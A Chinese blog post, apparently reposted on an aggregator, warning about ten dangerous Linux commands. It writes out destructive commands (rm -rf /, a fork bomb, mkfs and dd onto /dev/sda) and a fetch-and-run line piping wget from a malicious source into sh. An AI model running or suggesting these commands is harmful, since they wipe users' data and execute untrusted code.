《永远不要在 Linux 执行的 10 个最危险的命令》

Posted Jiamings

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《永远不要在 Linux 执行的 10 个最危险的命令》相关的知识,希望对你有一定的参考价值。

永远不要在Linux执行的10个最危险的命令[J].计算机与网络,2013,39(23):28-29.

在运行 Linux 命令时,应该三思而后行,以下命令通常需要在 root 下才能运行。

rm -rf directory # 强制递归删除目录下的内容

​rm -rf /​​​:强制删除根目录下所有内容。
​​​rm -rf *​​​:强制删除当前目录的所有文件。
​​​rm -rf .​​:强制删除当前文件及其子文件夹。

​.bashrc​​​ 文件对 ​​rm​​​ 命令创建​​rm -i​​​ 的别名,来预防用​​rm​​命令删除文件时的事故,要求你确认每一个删除请求。

:():|:&;:

fork 炸弹实例。通过定义一个名为 ​​:​​ 的函数,它会调用自己两次,一次在前台,一次在后台,它会反复的执行下去直到系统崩溃。

command > /dev/sda

将某个命令的输出写到块设备​​/dev/sda​​中,该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

mv folder /dev/null

移动某个文件夹到 ​​/dev/null​​​,在 linux 中,​​/dev/null​​​ 或 ​​null​​ 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。数据恢复软件仍能够挽救

wget http://malicious_source -O - | sh

上述命令会从一个恶意资源下载一个脚本并执行。

mkfs -t ext3 /dev/sda

上述命令会格式化块设备​​sda​​,对块设备或分区进行 mkfs 都是毁灭性的。

> file

清空文件内容,数据恢复软件未必能帮到你。

^foo^bar

把上一条命令中的 foo 替换为 bar?不解…

dd if=/dev/random of=/dev/sda

向块设备写入随机的垃圾文件而擦除数据,这个命令可以彻底删除数据。

有些命令可能隐藏在十六进制中,千万不要编译运行来源不明的代码。


以上是关于《永远不要在 Linux 执行的 10 个最危险的命令》的主要内容,如果未能解决你的问题,请参考以下文章

Linux的10个最危险的命令

linux的10个最危险的命令

Linux 中 10 个最危险的命令

Linux 中 10 个最危险的命令

安全漏洞的5个最危险安全漏洞

最危险的10个Linux命令,希望你牢记在心